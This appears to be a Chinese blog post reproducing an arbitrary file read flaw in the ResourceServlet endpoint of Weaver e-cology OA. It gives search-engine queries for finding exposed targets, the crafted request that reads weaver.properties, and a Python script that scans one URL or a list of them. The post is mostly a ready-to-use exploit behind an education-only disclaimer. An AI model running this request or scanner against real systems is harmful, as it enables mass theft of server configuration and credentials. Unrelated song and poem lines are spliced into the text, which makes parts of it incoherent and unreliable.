声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
文章目录
漏洞描述
泛微e-cology是一款由泛微网络科技开发的协同管理平台,支持人力资源、财务、行政等多功能管理和移动办公解决方案。其resourceservlet
接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。
漏洞复现
1)信息收集
fofa:app="泛微-OA(e-cology)"
hunter:app.name="泛微 e-Cology协同商务系统"
隔着人潮呼救像只困兽,呼吸颤抖去泪流,去相拥。
2)构造数据包
GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1
Host:ip
代码解释:
org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties
这个payload是一个Web应用程序中的URL请求路径,它用于访问Spring框架中的ResourceServlet
来获取资源。下面是对这个payload的分析:
-
org.springframework.web.servlet.ResourceServlet
:这是Spring框架中的一个Servlet类,ResourceServlet
用于处理静态资源的请求。 -
?resource=/WEB-INF/prop/weaver.properties
:这是一个查询参数,指定了要请求的资源路径。在这个例子中,它指向了/WEB-INF/prop/weaver.properties
路径。/WEB-INF/
:这是Java EE规范中定义的一个目录,用于存放Web应用程序的类、配置文件等资源,通常不对客户端直接暴露。/prop/
:这是一个自定义的目录,用于存放属性文件或配置文件。weaver.properties
:这是一个属性文件,可能包含了应用程序的配置信息。
如果这个payload能够被执行,它可能暴露了应用程序的敏感配置信息,因为/WEB-INF/目录通常不应该对客户端可见。
回显包含配置信息,存在任意文件读取漏洞。
测试工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning
# 打印颜色
RED = '\033[91m'
RESET = '\033[0m'
# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
"""
检查给定URL是否存在泛微OA E-Cology资源读取漏洞。
:param url: 要检查的URL
"""
try:
# 构造攻击URL,尝试读取敏感文件
attack_url = url.rstrip('/') + "/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties"
# 发送GET请求并忽略证书验证
response = requests.get(attack_url, verify=False, timeout=10)
# 检查响应状态码和内容,确认漏洞存在
if response.status_code == 200 and 'ecology' in response.text:
print(f"{RED}URL [{url}] 泛微OA E-Cology resourceservlet 文件读取漏洞。{RESET}")
else:
print(f"URL [{url}] 未发现漏洞。")
except RequestException as e:
# 请求异常处理
print(f"URL [{url}] 请求失败: {e}")
def main():
"""
程序主入口,负责解析命令行参数并调用漏洞检查函数。
"""
parser = argparse.ArgumentParser(description='检查目标URL是否存在泛微OA E-Cology resourceservlet 文件读取漏洞。')
parser.add_argument('-u', '--url', help='指定目标URL')
parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')
args = parser.parse_args()
if args.url:
# 如果URL未以http://或https://开头,则添加http://
args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
check_vulnerability(args.url)
elif args.file:
# 处理文件参数,读取文件中的每个URL并检查
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
# 确保URL以http://或https://开头
url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
check_vulnerability(url)
if __name__ == '__main__':
main()
运行截图
滚滚长江东逝水,浪花淘尽英雄。
标签:读取,漏洞,url,args,URL,cology,resourceservlet,weaver,泛微 From: https://blog.csdn.net/LongL_GuYu/article/details/140205868